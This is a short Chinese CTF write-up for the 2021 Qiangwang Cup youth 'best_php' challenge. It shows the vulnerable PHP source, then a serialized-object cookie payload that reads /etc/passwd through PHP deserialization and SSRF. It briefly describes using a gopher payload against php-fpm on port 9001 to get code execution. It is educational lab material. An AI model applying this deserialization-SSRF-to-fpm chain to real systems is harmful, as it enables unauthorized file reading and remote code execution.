[2021强网杯青少年]ssrf+fpm

best_php

<?php
highlight_file(__FILE__);
//like fpm?
class Crawl{
    
    
    public $url;
    function __construct($url){
    
    
        if(substr($url,0,7)==="http://"){
    
    
            $this->url = $url;
        }else{
    
    
            $this->url = "http://127.0.0.1/";
        }
    }
    public function curl($url){
    
      
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($ch);
        curl_close($ch);
        echo $result;
    }
    
    function __destruct(){
    
    
        $this->curl($this->url);
    }
}

if($_COOKIE["login"]=='1'){
    
    
    unserialize($_COOKIE["crawldata"]);
}else{
    
    
    if(isset($_GET["url"])){
    
    
        $crl = new Crawl($_GET["url"]);
    }else{
    
    
        echo "no";
    }
}

直接改cookie就可以了

<?php

class Crawl
{
    
    
    public $url;

    function __construct($url){
    
    
        $this->url = 'file:///etc/passwd';
    }
}
$s = new Crawl('xxx');
echo urlencode(serialize($s)

可以直接读取文件
在这里插入图片描述
但是问题就是不知道flag的名字
这里看到提示fpm,猜测是fpm配合ssrf进行rce
看配置文件
一开始试了7.0发现没有,试到7.2出现了配置文件
/etc/php/7.2/fpm/pool.d/www.conf
的确满足了条件,监听了9001端口
在这里插入图片描述
用工具生成gopher协议去rce
注意修改端口为9001
在这里插入图片描述
成功rce了,找到flag名字
在这里插入图片描述
然后用file协议读取就好了
参考链接

猜你喜欢

转载自blog.csdn.net/m0_51078229/article/details/120469809